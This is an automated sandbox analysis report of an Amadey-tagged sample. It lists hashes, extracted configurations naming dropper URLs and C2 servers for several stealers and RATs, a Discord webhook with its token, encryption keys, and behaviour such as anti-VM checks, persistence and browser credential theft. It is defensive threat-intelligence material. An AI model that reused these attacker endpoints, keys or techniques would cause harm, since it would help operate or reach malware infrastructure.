amadey | a66ad1178645f946e6e9b98c181e660df8bf87c38c88b220a24f35f0406cc107

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20250314-en
resource tags

arch:x64arch:x86image:win11-20250314-enlocale:en-usos:windows11-21h2-x64system
submitted
22/03/2025, 12:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

random.exe
Size

5.5MB
MD5

8aa52be570da2efe4885957e29b89538
SHA1

2ad2e47c307b34d9a593e21dfe0dba723c110b3d
SHA256

a66ad1178645f946e6e9b98c181e660df8bf87c38c88b220a24f35f0406cc107
SHA512

c685dd857057879a6ff8bdb7279511e940babeb7f358a94e33fea308ac0bd8ceb6d2bcd758dd38eada0995bb96f910d5728c1431286f0875d2ca392b0ca7308e
SSDEEP

98304:ZDpKjlkbVghclaJ8RhIc1pX452gw8QzbRwm5H3gzIFNM2w+1R:yxQZFzQQ/5HvX9

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://196.251.91.42/up/uploads/encryption02.jpg

exe.dropper

http://196.251.91.42/up/uploads/encryption02.jpg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Extracted

Family

skuld

https://discordapp.com/api/webhooks/1349647136895012916/qSys_fpsL_y7usKH_AyrFupSjzSsVfg2t895g2HV8Yz72asrwCIsHaqqhPtDFjz8g8_E

Extracted

Family

xworm

Version

5.0

httpss.myvnc.com:1907

Mutex

xWIArEKzuXpfRVkJ

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

quasar

Version

1.3.0.0

Botnet

212.56.35.232:101

Mutex

QSR_MUTEX_L5s39LpA1y9H79tL6D

Attributes

encryption_key
oBOMHICrtHceojCPrnpp
install_name
svchost.exe
log_directory
Logs
reconnect_delay
3000
startup_key
svchosta
subdirectory
media

Extracted

Family

amadey

Version

5.33

Botnet

06bcb9

http://195.82.146.131

Attributes

install_dir
06a5c50e21
install_file
tgvazx.exe
strings_key
1861b156ffe931ec912bb17b5ff77a36
url_paths
/h8ejjcsDs/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 6 IoCs

stealer

resource	yara_rule
behavioral4/memory/2444-793-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/2444-794-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/2444-955-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/2444-1280-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/2444-1306-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/2444-1309-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral4/memory/4408-808-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral4/memory/5240-1204-0x0000000009B60000-0x0000000009FF6000-memory.dmp	family_xworm

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral4/memory/432-1450-0x0000000000270000-0x00000000002CE000-memory.dmp	family_quasar

Skuld family
skuld
Skuld stealer
An info stealer written in Go lang.
stealer skuld
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4200 created 2908	4200	Organizations.com	49

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempBBHCRSSZKHYV8FSJS3S0IMF729CCUAPH.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1P27l3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3W01C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	advnrNo.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	RrRYo50.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2S4013.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	tgvazx.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	tgvazx.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
39	5240	powershell.exe
150	5240	powershell.exe
224	8360	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5360	powershell.exe
11928	powershell.exe
12544	powershell.exe
12936	powershell.exe
8360	powershell.exe
5240	powershell.exe
5548	powershell.exe
3516	powershell.exe
2384	powershell.exe
4352	powershell.exe
4204	powershell.exe

Downloads MZ/PE file 9 IoCs

flow	pid	Process
164	1320	rapes.exe
166	1320	rapes.exe
167	2472	svchost.exe
204	1320	rapes.exe
224	8360	powershell.exe
8	1320	rapes.exe
114	1320	rapes.exe
114	1320	rapes.exe
114	1320	rapes.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\2re6xV_5872\ImagePath = "\\??\\C:\\Windows\\Temp\\2re6xV_5872.sys"	tzutil.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3096	msedge.exe
1564	chrome.exe
5864	chrome.exe
5052	chrome.exe
4712	chrome.exe
1560	chrome.exe
3272	msedge.exe
2200	msedge.exe
5040	msedge.exe

Checks BIOS information in registry 2 TTPs 24 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	k3t05Da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RrRYo50.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tgvazx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tgvazx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3W01C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	advnrNo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tgvazx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	advnrNo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1P27l3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3W01C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	k3t05Da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	RrRYo50.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2S4013.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tgvazx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1P27l3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2S4013.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Deletes itself 1 IoCs

pid	Process
3188	w32tm.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tetras.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tetras.bat	cmd.exe

Executes dropped EXE 32 IoCs

pid	Process
2532	G8U31.exe
764	1P27l3.exe
1320	rapes.exe
2356	2S4013.exe
2172	3W01C.exe
5216	50KfF6O.exe
2672	zx4PJh6.exe
4200	Organizations.com
3680	rapes.exe
3196	k3t05Da.exe
2444	advnrNo.exe
4408	k3t05Da.exe
5604	wjfOfXh.exe
4404	Kr9UTz2.exe
4716	OkH8IPF.exe
1480	rapes.exe
3048	weC48Q7.exe
5556	windowscore.exe
5104	ARxx7NW.exe
432	word.exe
1152	d3jhg_003.exe
568	0000032348.exe
948	tK0oYx3.exe
3188	w32tm.exe
5872	tzutil.exe
6336	RrRYo50.exe
6876	tgvazx.exe
5904	Attributes.exe
7984	74511d73f3.exe
10188	tgvazx.exe
10252	rapes.exe
12172	TempBBHCRSSZKHYV8FSJS3S0IMF729CCUAPH.EXE

Identifies Wine through registry keys 2 TTPs 12 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	advnrNo.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	TempBBHCRSSZKHYV8FSJS3S0IMF729CCUAPH.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	3W01C.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	RrRYo50.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	tgvazx.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	tgvazx.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	1P27l3.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	2S4013.exe

Loads dropped DLL 48 IoCs

pid	Process
3196	k3t05Da.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe
5556	windowscore.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral4/files/0x001900000002b26f-663.dat	agile_net
behavioral4/memory/3196-682-0x0000000000DE0000-0x00000000013CC000-memory.dmp	agile_net

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x001900000002b272-688.dat	themida
behavioral4/memory/3196-692-0x00000000705F0000-0x0000000070BD0000-memory.dmp	themida
behavioral4/memory/3196-694-0x00000000705F0000-0x0000000070BD0000-memory.dmp	themida
behavioral4/memory/3196-695-0x00000000705F0000-0x0000000070BD0000-memory.dmp	themida
behavioral4/memory/3196-737-0x00000000705F0000-0x0000000070BD0000-memory.dmp	themida
behavioral4/memory/3196-825-0x00000000705F0000-0x0000000070BD0000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	random.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	G8U31.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	50KfF6O.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Microsoft\Windows\CurrentVersion\Run\74511d73f3.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10299110101\\74511d73f3.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10299120121\\am_no.cmd"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	k3t05Da.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	ip-api.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x000800000000070d-14359.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3172	tasklist.exe
5548	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs

pid	Process
764	1P27l3.exe
1320	rapes.exe
2356	2S4013.exe
2172	3W01C.exe
3680	rapes.exe
2444	advnrNo.exe
1480	rapes.exe
6336	RrRYo50.exe
6876	tgvazx.exe
10188	tgvazx.exe
10252	rapes.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3196 set thread context of 4408	3196	k3t05Da.exe	129
PID 4404 set thread context of 4948	4404	Kr9UTz2.exe	149
PID 4716 set thread context of 684	4716	OkH8IPF.exe	157
PID 948 set thread context of 1772	948	tK0oYx3.exe	175

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/0x001c00000002b21a-49.dat	upx
behavioral4/memory/5216-59-0x0000000000E20000-0x00000000018AE000-memory.dmp	upx
behavioral4/memory/5216-61-0x0000000000E20000-0x00000000018AE000-memory.dmp	upx

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\RuntimeApp\0000032348.exe	ARxx7NW.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\word.exe	powershell.exe
File opened for modification	C:\Windows\GuaranteesFear	zx4PJh6.exe
File opened for modification	C:\Windows\SheDrum	zx4PJh6.exe
File opened for modification	C:\Windows\CylinderPair	zx4PJh6.exe
File opened for modification	C:\Windows\OfficeForbes	zx4PJh6.exe
File created	C:\Windows\Tasks\tgvazx.job	RrRYo50.exe
File created	C:\Windows\Tasks\rapes.job	1P27l3.exe
File opened for modification	C:\Windows\NecessityInfections	zx4PJh6.exe
File opened for modification	C:\Windows\VancouverPulse	zx4PJh6.exe
File opened for modification	C:\Windows\InvestingTr	zx4PJh6.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5604	4200	WerFault.exe	104

System Location Discovery: System Language Discovery 1 TTPs 48 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempBBHCRSSZKHYV8FSJS3S0IMF729CCUAPH.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	advnrNo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wjfOfXh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Organizations.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tgvazx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	G8U31.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3W01C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d3jhg_003.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zx4PJh6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RrRYo50.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	74511d73f3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2S4013.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	word.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1P27l3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	advnrNo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	advnrNo.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
1336	timeout.exe
11208	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133871207677290638"	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1220	schtasks.exe
8200	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
764	1P27l3.exe
764	1P27l3.exe
1320	rapes.exe
1320	rapes.exe
2356	2S4013.exe
2356	2S4013.exe
2356	2S4013.exe
2356	2S4013.exe
2356	2S4013.exe
2356	2S4013.exe
2172	3W01C.exe
2172	3W01C.exe
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
3680	rapes.exe
3680	rapes.exe
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
5924	svchost.exe
5924	svchost.exe
5924	svchost.exe
5924	svchost.exe
2444	advnrNo.exe
2444	advnrNo.exe
2444	advnrNo.exe
2444	advnrNo.exe
2444	advnrNo.exe
2444	advnrNo.exe
5864	chrome.exe
5864	chrome.exe
2384	powershell.exe
2384	powershell.exe
5240	powershell.exe
5240	powershell.exe
2384	powershell.exe
5240	powershell.exe
2444	advnrNo.exe
2444	advnrNo.exe
5604	wjfOfXh.exe
5604	wjfOfXh.exe
2444	advnrNo.exe
2444	advnrNo.exe
2444	advnrNo.exe
2444	advnrNo.exe
5360	powershell.exe
5360	powershell.exe
2444	advnrNo.exe
2444	advnrNo.exe
2472	powershell.exe
2472	powershell.exe
4948	MSBuild.exe
4948	MSBuild.exe
4948	MSBuild.exe
4948	MSBuild.exe
684	MSBuild.exe
684	MSBuild.exe
684	MSBuild.exe
684	MSBuild.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
5872	tzutil.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1152	d3jhg_003.exe
1152	d3jhg_003.exe
1152	d3jhg_003.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
2200	msedge.exe
2200	msedge.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

description	pid	Process
Token: SeDebugPrivilege	5216	50KfF6O.exe
Token: SeDebugPrivilege	3172	tasklist.exe
Token: SeDebugPrivilege	5548	tasklist.exe
Token: SeShutdownPrivilege	5864	chrome.exe
